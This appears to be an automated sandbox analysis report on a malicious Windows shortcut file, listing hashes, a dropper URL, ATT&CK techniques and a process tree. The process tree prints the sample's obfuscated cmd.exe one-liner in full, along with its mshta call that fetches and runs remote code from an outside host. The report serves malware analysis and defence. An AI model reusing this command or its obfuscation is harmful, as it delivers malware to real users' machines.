5798464184c9510d3ff2ac9a2d951002fb8cc40328844c63ad9ce83d0bd0845a

Analysis

max time kernel
148s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:29

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General

Target
DOC-4EX27C.lnk
Size 1KB
Sample260804-kdqrjsvgmb
SHA256 5798464184c9510d3ff2ac9a2d951002fb8cc40328844c63ad9ce83d0bd0845a
MD5 52e572f05aa8d0cf3012cb03221843e5
SHA1 7e593bbb0bd3f0c696677dc6dde3d158e4fbda8d
SHA512 680b13b571aea5c38212b4a68fd024778e3d5a2e86bf5c30a07e11f5e2e5bc46bc21775f6af7cad6b4f37cef268adcff91178cb2add58d5524bfe8764532f779
TLSH
T15E415B902BED01E9F3FB9F36EDBE2754447FB9929D20C58E0450824C1926704D576B23
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5536	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5536 wrote to memory of 5472	5536	cmd.exe	90
PID 5472 wrote to memory of 3528	5472	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-4EX27C.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5536
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D/V:on/c"set dUNMh=oldsintpuhfwimujgpnold&set nabL=logrsnbnelog&set oD=logunudmwblog&set fDK=jnks4xh&&set XXE=zdhtartaxd&set zQ=nethviyguewzdtgoawihmsadtnet&set AIu=9mwxr&&set OoRV=t8shtab&set ue=dbguxqnrlpephdbg&&set yKa=ht@tps://@ma-pd@[email protected]@a@t@/h/@est@a@[email protected]@hp?@r@=@39@1469FB5@D8@2@D@B&&start /b !AIu:~1,1!!OoRV:~2,4! !yKa:@=!"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5472
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:3528

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads